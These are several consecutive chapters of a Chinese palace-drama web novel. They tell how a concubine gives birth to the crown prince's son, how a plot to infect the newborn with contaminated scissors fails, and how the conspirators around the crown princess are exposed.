袁宝下巴又差点掉了,原来还能这么理解的吗?不过好像也没啥不对哈。
骆峋没想那么多。
他只知孩子不是槛儿一个人的,只知她现下不好受,他合该安抚她才对。
岂料刚行到产房门口。
就听她说出这番近似交代后事的话,骆峋心底“蹭”地冒起一股无名火。
也没来得及深究这股火为何而来,反应过来时已经开了口:“宋槛儿,你放肆。”
屋中人俱是一惊。
随即意识到太子居然进了产房,除了四个担得住事的稳婆和槛儿、瑛姑姑,其他人皆骇得当场要跪地。
被韩稳婆及时出声制止。
马上就要接生,可不能这时候都弄脏了手,韩稳婆恭敬上前打算向太子请罪。
然而太子却只是摆了摆手示意她退到一旁,他人就径自到了宋昭训跟前。
“殿下……”
槛儿也没想那么多,只半撑起身子看着他。
瑛姑姑擦着眼角退到旁边。
骆峋将槛儿按回去躺着,再坐到榻边握住她的手,“不准多想,安心生。”
槛儿没被他的冷脸吓到。
笑着说:“妾身会安心生的,只是世事难料,妾身也总得做好心理准备……”
槛儿的眼泪浮上来。
“您答应妾,如果妾身有什么不测,请您一定让它有个好娘,一定好好将它养大。”
其实这话说得稍有歧义,毕竟东宫当下女眷不多,尤其太子妃膝下无子嗣。
那么按理槛儿若真有什么意外,不管生的是儿是女都该抱养给太子妃才对。
让孩子有个好娘,不免就会让在场的人以为槛儿是不想把孩子交给太子妃。
可若硬要把这个罪名扣到她头上又有些牵强,毕竟槛儿说的是“有”,又不是让太子帮孩子找个好娘、寻个好娘。
人家太子听了这话都没觉得宋昭训说的不对呢,其他人哪敢故意曲解。
韩稳婆等人只当自己聋了。
骆峋看着槛儿。
想说他不会应她此等丧气话。
想告诉她没有如果,她和孩子会好好的,他也不会与别人养他们的孩子。
可话到嘴边,理智终归还是在的。
骆峋抿紧唇,最终俯下身将槛儿抱住,抱住他的第一个女人,抱住孩子的娘。
“孤应你,但你不要
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因此便觉自己可撒手不管,若你平安生产,孤许你一件好事。”
槛儿:“什么好事?”
骆峋摸摸她的头发。
“届时便知道了,孤盼你无恙。”
话到这份上槛儿就没再说什么不好的话,抬手圈住太子紧紧抱了他一下。
刚抱完,一阵剧烈抽痛猝不及防。
槛儿的身子直打颤。
韩稳婆当即掀开裙子检查,随即欣喜道:“开了开了,全开了!也能生了!”
不怪韩稳婆这么高兴,而是大多初产妇生产时光开宫口就得四个时辰打底。
尤其宋昭训腹中的孩子如今八个多月,常言八月胎不足月,产门更难开。
且有时就算宫口全开了,也不见得马上就能生,熬一天两天都是常有的事。
韩稳婆都以为要等很久了。
哪知宋昭训这么快就开了,而且胎位正得不能再正,摸了摸竟是也能娩出了!
上天保佑。
韩稳婆默念,立马指挥起人来。
屋里的人顿时全动了起来,用不着她们抬,太子轻而易举将宋昭训抱上产床。
“孤等你。”
骆峋捏了一下槛儿的手,留下这么一句话便不再耽搁,疾步走出产房。
韩稳婆由打下手的人挽起袖子,将助产油倒在手心里迅速搓热,干劲十足。
“昭训使劲儿啦!”
.
屋外。
太子出来后耳房的门被人从里面关了起来,廊檐下站着一排排听候差遣的人。
望晴垂着眼立在临窗的地方,隐隐能听到产房内传来稳婆让抹油的声音。
她暗自深吸一口气。
再吐出来。
郑明芷过来时看到的便是这样一幕。
盏盏灯笼和花灯将庭院照得亮如白昼,院中数十人却是鸦雀无声,唯有女人忍痛的声音断断续续从产房传出来。
郑明芷听得一阵头皮发麻。
再去看太子。
披着一件狐裘大氅端坐在东厢门前的紫檀三屏椅上,神色看似与寻常无异。
但他的眼睛却是闭着的。
这倒是奇了。
郑明芷心想。
平日里泰山崩于前而面不改色的人,不论何时那双眼睛总会那么波澜不惊。
今儿却是这般模样。
郑明芷习惯性不屑暗嗤,有宫人搬了另一张椅子放到太子旁边,她顺势坐过去。
知道他这会儿许是听不进话。
郑明芷也懒得废话,便维持着恰如其分的,对屋中之人的担忧神色安静等着。
庞嬷嬷过来立到她身侧,老脸紧绷,偶尔往产房瞥的眼神隐隐有异光闪过。
太子和太子妃都在永煦院陪产,秦昭训哪怕再不喜应付这种虚伪的人际往来,得知消息后也不得不赶过来。
来了看到太子不同于以往的姿态,她也是一噎,噎过后便在位置上兀自出神。
稳婆的打气声和槛儿的忍痛呻吟声持续从屋里传出来,骆峋闭眼听着,脑海里闪过不久前她泪眼婆娑的恳请。
又想到和她初见时的情形。
想到初次临幸她未果的那晚,想到这九个多月两人日常相处的点点滴滴。
紫檀木扶手悄然裂开。
这时。
产房内传来稳婆们陡然拔高的喧笑。
“生了生了!是位小皇孙!”
“恭喜昭训!贺喜昭训!”
骆峋睁眼。
一道嘹亮的婴儿啼哭在下一刻响彻夜空。
元隆二十一年乙巳,正月十六日寅时初,皇太子骆峋之长子生于东宫永煦院。
第148章 产房惊魂!曜哥儿暴起自救,多方线人暗察
“哎哟,咱小主子劲儿可真不小!”
产房内。
空气中弥漫着一股血腥味和药油味,大伙儿狠狠松了口气,脸上都是笑。
韩稳婆一面替刚出生的小皇孙清理口鼻,一面有规律地拍着他的背。
确定小家伙呼吸顺畅,她笑得合不拢嘴。
“主子,听到了吗,小主子很有劲儿!”瑛姑姑紧握着槛儿的手,红着眼哽咽道。
槛儿听到了,但她这会儿完全没力气说话,只顾得上大口大口地喘着气。
瑛姑姑接过温热的巾子给她擦去脸和脖子上的汗,女医在旁边替槛儿把脉。
脐带还没剪。
时下讲究先保呼吸后断脐,皆因脐带连接胎儿与母体,为胎儿存活的重要保障。
刚出生的小娃儿心跳会带动脐带搏动,大夫们惯称其为可见的脉搏。
一般经验丰富的稳婆,会通过观察脐带的脉搏和颜色来判断何时该剪。
小皇孙是早产,韩稳婆打算等脐脉自发停了再叫人剪,如此也能让小娃儿多补些气血。
而何时剪脐带,一般也是由稳婆发话。
韩稳婆便先接过烘热的棉巾子把小皇孙包起来,动作麻利又不失温和地擦拭。
谁知就在这时。
小皇孙的手脚冷不丁大动作甩了起来,伴随而来的是近乎歇斯底里的哭嚎。
曜哥儿现在眼睛还睁不开。
外面光线太亮了,他一时适应不了。
但打从曜哥儿莫名其妙“梦”到金承徽诅咒他娘开始,他的脑袋里偶尔就会冒出一些像眼睛“看”到的画面。
紧接着他便能听到娘和人说话,他们相处和谈话的内容还就是他“看”到的。
曜哥儿不明白这是怎么回事。
不过他都能转世到**肚子里了,这种稀奇古怪的事似乎也没什么不能接受的。
所以曜哥儿没有钻牛角尖。
然后就在刚刚!
他“看”到了!
有个老婆子趁人不备在剪子上抹了什么东西,还要偷剪他和娘的带带!
曜哥儿怒从中来,立马暴起!
韩稳婆一惊,正准备察看什么问题。
余光因为动作的改变忽然察觉到一道身影靠过来,韩稳婆反射性地扭头。
就见何婆子拿着个剪刀朝脐带剪了去。
“你做什么?!”
韩稳婆厉斥,同时还有另一道呵斥响起。
却是银竹。
而她身后不远处另一个典玺局的宫女收回迈出的脚,也没有人注意到她。
何婆子状似被吓了一跳,缩着脖子一脸茫然道:“剪、剪脐带啊,不剪吗?”
韩稳婆没好气。
“剪什么剪!我们几个稳婆都没发话,你一个助产婆子自作什么主张!”
说着,她另指了一个人。
对何婆子道:“这里用不到你了,你去别处。”
何婆子面露讨好之色,“对不住,真的对不住,是我疏忽,我就是以为能剪了……”
没等她话说完,有人上来将她推走了。
何婆子不得不交出剪刀。
另一个婆子代替了何婆子的位置。
这时,旁边一个宫女蓦地出声。
“要不换一把剪子吧,我刚刚好像看到她像是拿手指在剪子上抹了两下,也不知是我眼花看错了还是别的……”
屋中的气氛骤然一凝。
要知道生产用的剪子可是要绝对干净的,若不然剪了脐带,几乎九成可能会生肿毒、破伤风,或是染上其他病。
那就是要小娃儿命的!
所以这会儿屋里备的几把剪子都是事先拿艾草、桑枝足足煮了半个时辰,就在一刻钟前才捞出来沥干的。
“我、我没有,我没有!我什么都没做!”
何婆子老脸一僵,眼珠子乱转地辩解道,然而她的反应已经说明了问题。
槛儿无力地偏过头。
不待她开口,守在门口的两个宫女就过来将继续辩解的何婆子拖了出去。
刚刚提议换剪刀的宫女给负责剪脐带的新婆子,另拿了一把剪刀过来。
众人心有余悸。
不过碍于小皇孙刚出生,宋昭训也还要检查身子,要做的事还有很多。
所以大伙儿当即便要把这一茬掠过去,继续忙自己的事,韩稳婆也看了看脐带。
确定可以剪了,便要示意那个新婆子。
然而小皇孙的哭嚎却是一直没停,手脚甩得愈发有劲儿,还踹了新婆子一下。
那婆子反射性一抖,刚到手的剪子就掉了。
也就在这个当头。
“来了来了,换这儿的!”
却是从次间匆匆进来一个宫女,捧着一个装有三把剪子的托盘进来道。
银竹挑了一把换给新婆子。
谁也没问为什么明明产房备了五把剪子,永煦院却另外又准备了三把。
银竹也暂时没问那宫女为什么来得这么迟,只屋子里刚刚还欢喜的气氛经此一遭肉眼可见地低迷了下来。
但太子就在外头。
有些人不要命,敢在太子和太子妃的眼皮子底下闹鬼,其他人却还是惜命的。
也所幸脐脉停了之后,晚剪一会儿也没什么问题。
于是在韩稳婆的调动下,屋子里几乎眨眼间又重新恢复了一派祥和热闹之态。
小皇孙方才哭闹得厉害。
几个稳婆不敢掉以轻心,剪了脐带又擦拭包裹好,由银竹把小皇孙抱到了隔间。
莫院判在隔间守着。
一番细致地检查,确定小皇孙没有大碍,银竹便将襁褓抱到产床跟前给槛儿看。
“小主子没事,主子您歇会儿吧。”
槛儿看了看孩子。
随即朝银竹笑笑,闭上眼。
“一会儿让殿下看看孩子……”
屋外。
随
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着嘹亮的婴孩啼哭响起,骆峋缓缓站起身,目光一错不错地落在耳房门上。
旋即便听那道啼哭有异。
紧跟着是稳婆的呵斥声。
骆峋原本松开的手顿时重新攥起,院子里其他人的心也重新提了起来。
尤其庞嬷嬷。
紧张计划能否成功的同时,一股汹涌的亢奋也从心底不可控制地蹿了出来。
她不怕死,她不怕!
是她和主子看错了眼,挑了那么一个原以为胆小本分好拿捏的出来。
结果才知那就是个不知感恩的白眼狼!
放眼古史。
多少发妻皇后被得宠的妖妃骑到头上作威作福,到头来落得个被废的下场?
庞嬷嬷想。
太子势必要坐上那个位置的,这样她的主子才能成为母仪天下的皇后!
但照宋槛儿那小蹄子如今的势头,如果就这么任由她继续被太子宠下去,以后定会是主子一生的绊脚石!
庞嬷嬷绝不允许这种事发生,她就是拼了这条命,也要替主子扫了这块绊脚石!
横竖肯定是那蹄子反悔不愿把孩子养在嘉荣堂,才勾得太子出尔反尔。
既如此,那那个孽种就**!
只要孽种**。
只要那个孽种生下来没几天就**,刚生产完的宋槛儿必定备受打击。
月子里丧子最后跟着走了的女人,庞嬷嬷活了几十年可是见过不少,听过不少。
退一万步,就算宋槛儿侥幸活下来。
丧子之后也定会有很长一段时间都郁郁寡欢,而太子再是宠她又怎么样?
终归是个男人。
是男人心就会粗,就会对一个长期只顾沉浸在悲痛中的女人失了耐性。
再者太子是储君。
前朝那么多事等着他。
宗法祖制那么多条条框框束着他,他又能分多少心思给一个成日自怨自艾的女人呢?
只要宋槛儿失了宠。
庞嬷嬷就相信,她家主子定会有办法让其神不知鬼不觉地死在东宫后院!
万千思绪仅在顷刻之间。
屋中传来一个婆子的辩解声,接着产房的门开了,那助产婆子被扭送出来。
“殿下,此人想要谋害皇孙,请殿下定夺!”跳珠跟着出来,红着眼跪下道。
何婆子被堵了嘴,涨着脸发出呜呜哇哇的声音,听音调能知是在求饶。
骆峋眸底罕见地闪过一丝肃杀之色,转瞬间被他隐了去,“宋昭训如何?”
产房里做了多手准备,然常言计划赶不上变化,若她真出了什么意外……
太子的话刚说完。
瑛姑姑抱着做了防寒措施的襁褓出来。
声音里也带着一丝哭腔道:“恭喜殿下,昭训主子与小皇孙母子皆安!主子她……”
话没说完,一件狐裘大氅落到地上。
院中俨然没了太子的身影。
第149章 六斤一两,夜半“鬼”开门……
母子皆安……
郑明芷走到瑛姑姑跟前,借垂眼看孩子的动作掩去了眼底那抹失望之色。
秦昭训瞥眼红红的襁褓,神情如常。
海顺高兴得直个劲儿抹泪,但也没忘了正事,转身叫人把何婆子先押下去。
庞嬷嬷站在郑明芷身后,往襁褓上望了一眼,可惜孩子的影儿都没看到。
不过不急。
那法子不是当场毙命。
她之所以选用那种方式,而不是直接让宋槛儿难产,便是不想轻易暴露。
这会儿那人没被押出来,说明对方已经得手,接下来她只需等上几天就成了。
如此想着,庞嬷嬷神色真诚地拔高声音对着襁褓说了几句喜庆吉祥话。
瑛姑姑没心情听。
天冷,小皇孙包得再暖和她也不敢在外面多待,请示太子妃后便回了屋。
屋里。
骆峋行至屏风跟前放缓步子悄无声息地走进去,面色一贯的沉稳清冷。
宫人们在收拾产床,空气中血腥味犹在。
槛儿刚被银竹抱到暖榻上擦拭完身子,这会儿正由寒酥伺候着换了身衣裳。
她则始终闭着眼,像是睡得极沉。
抬手制止了宫人行礼。
骆峋来到榻前。
寒酥替槛儿掖好被子退至一旁。
槛儿并没有真睡沉。
她就是耗费体力太多身子哪儿哪儿都乏得紧,也不舒服,但意识还是清醒的。
嗅到一缕熟悉的清香,槛儿睁眼。
果然看到了太子。
大抵是视线朦胧看错了,有一瞬间,槛儿像似在那双幽冷凤眸里看到了心疼。
不过她此刻没精力,这个念头在她脑子里冒出了一瞬就消失得无影无踪。
“可还疼?”
骆峋在榻前落座,低声问。
槛儿诚实地点点头,“有点儿,不过比生的时候好多了,殿下是一直在外面?”
骆峋也诚实地“嗯”了一声。
“不冷,进来前刚脱了大氅。”
槛儿就笑:“您怎么知道妾身要说什么?”
骆峋的唇角无意识跟着她勾了勾,但很快眉尖便蹙了一下,槛儿看见了。
“您怎么了?”
骆峋收起心思,替她别了别头发道:“接下来的事孤会处理,你只管用些东西,好生歇息。”
槛儿知道他指的什么事。
且刚刚产房里明显不止何婆子一个人有问题,不过这些事现在不归她管。
槛儿也就心安理得地应下。
“时辰不早了,您近段日子又本就忙,一会儿瞧过孩子之后便也先回去歇息吧。”
骆峋摸摸她的脸,“嗯。”
暂时不用喂奶的小皇孙被安置在暖阁里挂着五彩丝绦的花梨木摇车里。
跳珠和两名奶娘在旁守着。
经耳房的小门来到暖阁,骆峋行至摇车前。
屋里暖和。
小奶娃稍显皱巴的脸蛋完完全全露在外面,粉红粉红的,胎发又浓又密。
微微泛肿的眼睛闭着,小嘴儿也闭着,乍一眼暂时还看不出模样像谁。
与寻常早产儿相比,倒是不见得太小。
“多重?”骆峋问。
跳珠答:“回殿下,小主子重六斤一两。”
时下八个多月的晚期早产儿体重多数在五斤左右,更甚者仅有三斤出头。
小皇孙六斤一两,和大多足月产的小奶娃都是比得的,关键身子也康健。
骆峋没伸手触碰,就这么看了几息。
到了院子里。
郑明芷率先恭贺太子喜得麟儿,海顺打头的一众宫人随之齐齐跪地贺喜。
骆峋环视一周,撂下一个“赏”字往外走,郑明芷和秦昭训带着人紧跟其后。
目送太子一行人出了后宅。
郑明芷转身往嘉荣堂走。
如果不是太子非要在那儿耗着。
她又要为自身的贤名着想,郑明芷真心懒得纡尊降贵地给一个妾室陪产。
白耗她这么几个时辰。
“倒是让宣王府那丫头片子说中了,真叫她生了个儿子出来,真是福气啊。”
回去了收拾结束靠坐到床上,郑明芷看了霜月一眼,阴阳怪调地笑道。
霜云跪趴在床沿处替主子掖被子,闻言撇嘴道:“那也不是她自己的福气。
是您与太子齐齐坐镇带去的福气,她但凡有点良心就该对您感恩戴德。”
这话郑明芷爱听。
如果没有太子什么事,她就更爱听了。
不过,她还是道:“这话你在我面前说说就罢,可不能到了谁跟前都摆这个脸。”
郑明芷如今也是想通了。
心急吃不了热豆腐。
想想她嫁进东宫才两年。
加之她和太子之间,确是她理亏在先。
甭管那男人因着什么原因没废了她,她都不能因此得意忘形,掉以轻心。
之前是她急躁了。
只想着“母凭子贵”这一条路子,着急名下有个嫡子来稳固太子妃的位置。
却忘了自己这个储君正妻的身份,一开始就是受皇家祖制和宗法护着的。
单是无子,并不能直接构成废她的理由,遑论这门婚还是元隆帝赐的。
而皇家正妻这样的身份,要稳固自己的位置也不是只有孩子这一条路。
所以,她不该这么着急的。
“奴婢知道,奴婢就是替您不平。”
霜云忿忿小声道。
“且不提当初说好的事她出尔反尔,就说她也不想想自己
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凭什么有今天。
您对她有提携之恩,但凡她有丁点儿想报恩的心,就该主动奉上她有的东西。”
“譬如孩子什么的……”
“行了行了,胡咧咧啥?”
庞嬷嬷过来打断霜云的话。
“真是见天儿的不像样,什么话都敢往外说,今晚霜月值夜没你事儿了,睡去吧。”
霜云冲她哼了哼。
下床对郑明芷福福身,笑道:“那主子,奴婢就先告退啦,您抓紧时间睡个好觉吧。”
不然今晚,就睡不成了。
霜云惯是个活泼跳脱的性子,郑明芷倒是没从她的笑和话里看出什么不妥。
随手褪下腕子上的玛瑙镶金串儿扔给霜云,“冲着你这份心,拿去玩吧。”
霜云接住,更是笑开了花。
又一番连珠炮似的好话。
最后被庞嬷嬷撵了出去。
霜云维持着笑,一路掂着手串回了西耳房。
然而进屋后门一关上。
她的嘴角陡然一拉,眼底满是阴戾之色。
正值寅时过半,万籁俱寂。
四处的元宵花灯在檐下静静亮着。
吱呀——
东耳房的侧门被人从里面打开,庞嬷嬷的老脸浸在一片朦胧烛光之中。
不多时,她出来关上门。
步伐轻巧地往后院方向走去,庭院中值夜的宫人只当她是去后院交代差事。
一路畅通无阻地来到后院的灰门,此门专为平时往外运送炉灰渣滓之用。
守门的是个老太监。
早过了运送垃圾的时候。
门旁的小值房里亮着一盏不大的灯,老太监的呼噜声断断续续从屋里传出来。
庞嬷嬷是管事,嘉荣堂大大小小的门钥匙她手上都有一份,没管那老太监。
她一来径自开了门锁。
并不大的开门声没有惊醒值房的老太监,庞嬷嬷动作麻利地闪身出去。
门外是一条运送垃圾的甬道,处在两道宫墙之间,因着偏僻所以没有值夜宫人。
宫墙檐下隔两丈一盏灯笼,光线并不明亮。
庞嬷嬷顺手关上门,左右张望一圈,从墙根捡起两颗小石子往拐角的地方抛去。
小石子咕噜噜滚动。
不多时停下,拐角处的地上忽而一道影子动了动,紧跟着转出来一个人。
却是一个宫女。
个头中等,模样二十出头。
只见她从拐角处出来,警惕地朝身后看了看,跟着疾步来到庞嬷嬷跟前。
檐下灯笼的光在这一刻照亮完全那张其貌不扬的脸,竟见此人不是别人。
正是半个多时辰前在永煦院的产房内,指认何婆子在剪子上动了手脚,之后又提议换一把剪子的助产宫女!
第150章 庞嬷嬷哪里跑!“我的奶娘不可能背主!”
“你能来就说明事成了,没人发现对吗?”庞嬷嬷声音压得极低,小心问道。
宫女名叫青槐。
是育产司专职为接生嬷嬷培养的助产宫女,平常时候在育产司当差。
像这样的助产宫女,育产司通常会从刚入宫的新人里挑,以面貌端正、手脚麻利、清爽干净为择人标准。
庞嬷嬷近期除了今晚去替她家主子探望了一下槛儿,平时没去过永煦院,也不曾使人去永煦院找青槐。
她之所以能与青槐取得往来,归其原因为她与青槐之间并非临时买通的关系。
青槐明面上是育产司的人,实则是顺国公府早几年前便安**宫的探子。
诚然,宫里选人不管宫女太监都要经过层层审查,要求家世清白、来历无疑。
平时宫里对宫人管理也极为严苛。
但架不住人多啊。
人多就容易混杂,容易被人钻空子。
而这种在宫里暗中安插耳目的手段,实则为前朝后廷多方**博弈的一种常见手段。
皇帝暗中放人监视朝中臣子,臣子们则通过以各种手段在宫里安插探子的方式,来形成他们自己的情报网。
这里头有一部分人皇帝睁一只眼闭一只眼,有一部分则属于漏网之鱼。
青槐便是顺国公府在宫中的情报来源之一。
只不过她会在育产司当差就全然属于巧合,毕竟就算本事再大,臣子和内廷也是一个在宫外一个在宫内。
真若想将人安在哪就安在哪,其间要耗费颇多人力财力不说,关键容易暴露。
所以青槐被安排到育产司当差纯粹为巧合,但她这次被安排来给槛儿助产。
却不是巧合。
而是庞嬷嬷两个月前擅自做主,通过他们特定的暗法门路与青槐取得了联系。
两人暗地里合计了这件事。
“嗯,成了,没人发现。”
青槐点点头,小声回道。
庞嬷嬷的老脸皮肉眼可见地松了松,“你过来的时候小皇孙可有异样?”
“暂时没有。”
青槐摇头。
“沾过粪土的剪子剪了脐带,至少要三个时辰肚脐周围才会显现出问题。
十二个时辰后新生儿才可能有反应,时间要再长些保不齐要等两三天。”
庞嬷嬷了然。
“很好,记住,这事你睡觉都得把嘴闭牢实了!万不能走漏了风声,要不然……”
她浑浊的眼里浮起狠色。
青槐颔首表示明白。
两人不再逗留,对了个眼神各自转身离开。
然而就在这时。
对面宫墙上忽地响起一道阴恻恻的声音:“庞嬷嬷,随咱家走一趟吧。”
庞嬷嬷猛地扭头。
却是袁宝竟不知什么时候在墙上漏了个脑袋,正皮笑肉不笑地盯着她!
庞嬷嬷心跳几欲骤停。
整个人摇摇欲坠往地上跌去,被从宫墙上翻下来几个太监模样的人粗暴拽住。
再看青槐。
竟是面色煞白抖若筛糠,泪流满面。
“对不起、对不起嬷嬷,奴婢没有得手……”
韩稳婆采了她的提议换了剪子,但剪子因着小皇孙的哭闹被那新婆子给抖掉了。
之后宋昭训身边的人另换了一把剪子,直到小皇孙被抱去暖阁给奶娘照顾,宋昭训也歇下了都没人搭理她。
青槐原也以为自己没被发现。
哪知就在她暗自庆幸之时,却来了几个人拦住了她,把她直接带到了太子跟前。
庞嬷嬷听着青槐的话,再看看袁宝。
耳边“轰”的一声。
竟是两眼一翻,当场厥了过去。
“太子妃!太子妃不好了,出事了!”
嘉荣堂前院。
守门的小东子跑得跌跌撞撞,其身后鲍富带着一行人浩浩荡荡地走了进来。
霜月听到动静开门出来。
见状受惊不小,忙进卧房叫醒郑明芷。
“鲍公公这是做什么?”
郑明芷穿好衣裳出来,沉着脸质问道。
鲍富拱了拱手。
拉着嗓子道:“太子妃安好,奴才是奉太子爷的令前来请您移步至元淳宫。
嘉荣堂管事庞氏谋害皇孙罪不容诛,太子妃您是她主子,爷请您去说个明白。”
“不可能!”
郑明芷厉声斥道。
“庞嬷嬷是我奶娘,对我忠心耿耿!她不可能背主做出此等大逆不道之事!”
鲍富笑了一下。
“可不可能的,太子妃去了便知,另外爷还有令,让您把您身边的霜云一并带过去。”
话音刚落。
西耳房方向传来开门声。
霜云从屋里走出来,她的一半身子被檐下的灯笼照亮一半浸在阴影之中。
.
纷杂的脚步声穿过条条青石板甬路,跨入元淳宫的瞬间,一股寒风扑面而来。
郑明芷匆匆行向正殿,脸沉得几欲滴水。
不可能的。
她的奶娘不可能背叛她!
可又怎么解释奶娘大半夜的没在房里睡觉,而是被太子的人抓过来了?
还有霜云。
霜云跟了她十几年,霜星霜雪死后,她和霜月就一直是她的心腹丫头。
是她的陪嫁丫头!
偏偏太子叫了霜云,为什么?
来的路上霜云只知哭,什么也问不出来,郑明芷现在脑子里一团浆糊似的。
终于到了殿前郑明芷几乎小跑着奔上台阶,抬眼就看清了殿内的情形。
太子一身鸦青绣团龙锦袍坐在北面主位上,脸比她之前见过的任何一次都冷。
庞嬷嬷跪在屋中间。
其后跪着两个宫女,一个太监。
他们面前的地上摆着两个托盘,上面似是装着什么,郑明芷来不及看清。
“主子……”
看到她,庞嬷嬷粗哑着声音唤了一声,其面色呈现着一种死尸般的灰白。
郑明芷的眼泪差点掉下来。
但她尽量稳住心神,先向太子行了一礼才道:“不知殿下这是何意?”
骆峋侧目。
海顺上前两步道:“太子妃莫急,在说庞嬷嬷的事之前,先要说清另一件事。”
说着,他一改方才的笑脸神色狠厉地看向庞嬷嬷右侧方的那个宫女。
“还不将你诱导永煦院的宫人暗害宋昭训及小皇孙之事如实向太子妃交代!”
雁荷被吓得一哆嗦。
没错,就是雁荷。
花房附近宫人住的小院离永煦院有一段不近的距离,平时永煦院有什么动静他们那边第一时间知道不了。
今晚也一样。
雁荷今晚不值夜,去伙房吃过晚饭便回屋和
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小姐妹做针线唠了会儿嗑。
临到亥时,她们准备睡了。
哪知就在这时,离她们不远的膳房宫女住的地方忽然传来了一阵骚动。
有人跑过去问。
回来了兴奋地跟她们说宋昭训要生了,膳房姚总管要给宋昭训做补气力的东西,让膳房的人赶紧动起来。
当时雁荷她们屋里的小姐妹都忍不住纳闷宋昭训怎么会早产,又都兴奋地祈愿宋昭训能平安生下小主子。
这样大伙儿就能得赏钱了。
雁荷表面和她们一块儿盼着能得赏钱,心里却是怎么也高兴不起来。
她在想是不是望晴动手了。
又想对方会不会暴露,会不会查到她头上,后悔自己一时没禁住银子的诱惑!
当然,起初雁荷也是怕的。
毕竟十月里东宫才出了一桩事。
虽说具体什么事不清楚,但金承徽都**,曹良媛也被变相降了位份。
嘉荣堂里的宫人变动还那么大,不用想也知道是十恶不赦中的哪一项罪。
且事情跟宋昭训有关。
彼时不过隔了两个多月就又来了人找她想对宋昭训动手,雁荷不怕才怪。
所以刚被一个不认得的太监找上的时候,雁荷态度很坚决地拒绝了。
但耐不住那太监说得天花乱坠,还替她想了法子,叫她事先把银子埋地里藏着。
这样就找不到证据。
没有证据,就算望晴指认她也只是空口白牙。
雁荷听了那太监的话,心智便动摇了。
后来她便想,反正那太监又没让她亲手把害宋昭训的东西交给望晴。
只让她拿话刺激望晴,激起对方对宋昭训的不满,自发地生出些歪念头。
雁荷和望晴之前在一起学过三个月的规矩,自认对其还算有一定的了解。
望晴很容易被别人影响。
而且看似温和内敛,谁都好说话的模样,实则总会在一些小事上斤斤计较。
只不过她不会做什么。
只偶尔自嘲地说些丧气话,然后别人稍微说点什么她就又会犹犹豫豫。
那时雁荷便看出望晴很容易受人影响了。
也因此在那太监的游说下,在银钱的诱惑下,加上望晴本身性格是那样的。
雁荷犹豫再三说服了自己。
收了太监给的银子之后将其埋进地里,再开始找机会制造和望晴的偶遇,一点点激起她对宋昭训的不满。
正月十二那天望晴没升成大宫女,雁荷借此把人带到了自己当差的花房。
她兼管花草和药草晒制。
因此眼看望晴差不多向她倾诉完了苦闷,雁荷借机端出了前几天刚被她晒干,暖房为入药而培育的一种花。
此花性寒微毒,香味与桂花相似,具有活血调经凉血祛风,散瘀止痛之效。
孕期妇人严禁接触此花。
但生产之时若是产妇体壮。
却宫缩乏力,胎位正却产道不开的,则可以用此花来调配助产油使用。
不过前提得要太医从旁指导使用,若不然一个不慎就会造成大出血难产。
严重者一尸两命。
雁荷状似随口给望晴讲了此花的效用和注意事项,望晴当时没什么反应。
但之后雁荷去检查筛子时发现——
花少了两朵。
第151章 鸟粪抹剪,郑明芷惊遭霜云反咬!?
雁荷知道是望晴偷拿了。
也所以晚上一得知宋昭训早产的消息,雁荷的第一反应是望晴动手了。
事情没发生时雁荷不停地说服自己不会被查到,就算查到了也没证据。
她不会有事的,不会有事。
然而真当事情发生了,雁荷还是怕得发慌,想象了自己的一百种死法。
直到宋昭训平安诞下小皇孙的消息传来,她才疑惑又心有余悸地松了口气。
可就在她准备眯一会儿的时候元淳宫来人了,带着被她埋在地里的银子。
等见了太子,证据摆在面前。
雁荷压根儿没撑。
上来便招供了找她办事的太监。
那太监是嘉荣堂里一个管太子妃冬季日常取暖用炭的,名叫小发子。
所谓用炭不仅仅指炭盆里要用到的炭,还有手炉、脚炉用炭,灯蜡的管理。
平时炭盆中的炭与灯腊一般由二等宫女从小发子手里取,手炉脚炉用炭则单独由霜云和霜月轮流取。
小发子此时也跪在殿内。
经不久前的一番审问,小发子招供是太子妃身边的霜云叫他收买雁荷这么做的。
因着霜云日里到他那边取炭会时不时和他闲聊几句,两人的关系便算比较好。
加上小发子是中阶太监,他的待遇好坏与主子是否得宠有很直接的关系。
所以在霜云几次三番的暗示下,小发子也担心有了小皇孙的宋昭训,日后会愈发将他们主子挤兑得没地方站。
也因此,小发子咬牙应下了霜云让他办的事。
小发子刚刚也拿出了证据。
是霜云给的一个荷包,里头装了几颗专供太子妃赏人用的金银瓜子。
瓜子上头都有印。
典玺局则查出了荷包的确出自霜云之手,此时这些证据就摆在地上的托盘里。
“人证物证俱在,你还不从实招来!”海顺冷厉地盯着霜云,沉声呵斥道。
“奴婢、奴婢……”
霜云似是被吓慌了神,脸上冷汗如瀑,嘴唇直个劲儿抖着,一句话都说不完整。
“等等!”
郑明芷看了看地上的证据,憋着气剜了霜云一眼后扬声打断了海顺的审问。
“既说是这个叫雁荷的宫婢受了霜云的指使,挑唆了永煦院的人暗害宋昭训。
那永煦院的人呢?
怎么不见永煦院的人?还是说有什么别的原因永煦院的人就不用担责了?”
这话说的。
就差直说是太子有意袒护永煦院了。
海顺似笑非笑:“太子妃……”
“你怎知此处没有永煦院的人?”
男人沉冽的嗓音蓦地响起。
郑明芷一僵,对上那双幽深似能看透人心的凤眸她心里一股不好的预感。
果然。
下一刻,太子朝青槐睇了一眼。
“你为何不觉此女是永煦院那受挑唆之人?还是,你原就认得她?”
郑明芷当然认得青槐。
她嫁进东宫之前,她爹私下同她说了顺国公府在宫中安插有眼线的事。
自然不是将所有人都告诉了她,而是给她指出了几个她可能用得上的。
育产司与东宫相隔甚远,郑明芷自是不能堂而皇之地让青槐来东宫见她。
让她认脸。
所以之前郑明芷借外出的机会,通过她爹给的线索和青槐远远见过一面。
方才她进屋,打眼便认出了人。
这才有了她刚刚质问海顺时,下意识将此女排除在了“永煦院的人”之外。
这会儿听太子如此质问。
郑明芷竟一时卡了词,脸色难看之极。
“我、我不是……”
“殿下息怒,殿下息怒!事情跟太子妃无关,都是奴婢做的!是奴婢自作主张!”
庞嬷嬷的声音打破了太子与太子妃之间的紧张气氛,她把头磕得砰砰响。
“是奴婢事先买通了宋昭训产房内的人!事情是奴婢做的,太子妃根本不知情!还请殿下不要怪罪太子妃!”
“奶娘,你……”
郑明芷闭了闭眼,又睁开。
不甚理解道:“为什么?你知不知道自己在做什么?你到底在想什么?!”
她明明都已经想通了。
她都打算好要循序渐进,跟宋槛儿那小蹄子长时间慢慢斗下去了。
她明明已经不着急姓宋的能不能顺利把孩子生下来,又会不会继续得宠下去了。
可是为什么?
为什么要这样拖她的后腿!
郑明芷不懂。
